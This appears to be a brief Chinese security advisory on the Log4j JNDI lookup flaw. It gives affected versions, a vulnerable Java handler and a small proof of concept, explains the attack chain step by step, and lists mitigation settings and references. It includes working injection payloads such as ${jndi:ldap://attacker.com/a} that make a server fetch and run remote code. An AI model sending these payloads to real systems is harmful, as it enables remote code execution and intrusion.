漏洞

影响范围

2.0 <= Apache log4j <= 2.14.1

利用

import org.apache.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = Logger.getLogger(log4jExample.class.getName());

  /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
  public void handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");
    
    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);

    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

Data from the User gets sent to the server (via any protocol),
The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server),
The log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via “Java Naming and Directory Interface” (JNDI),
This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process,
This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.

另一种方法：

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Poc {
    private static final Logger log = LogManager.getLogger();
    public static void main(String[] args) {
        log.error("${jndi:rmi://127.0.0.1:1099/xxxx}");
    }
}

缓解方式

a、修改jvm参数 -Dlog4j2.formatMsgNoLookups=true
b、修改配置：log4j2.formatMsgNoLookups=True
c、系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true

参考

https://arstechnica.com/information-technology/2021/12/minecraft-and-other-apps-face-serious-threat-from-new-code-execution-bug/
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mp.weixin.qq.com/s/WBbAthHY36qY0w9e4UUl4Q
https://github.com/welk1n/JNDI-Injection-Exploit
https://v2ex.com/t/821241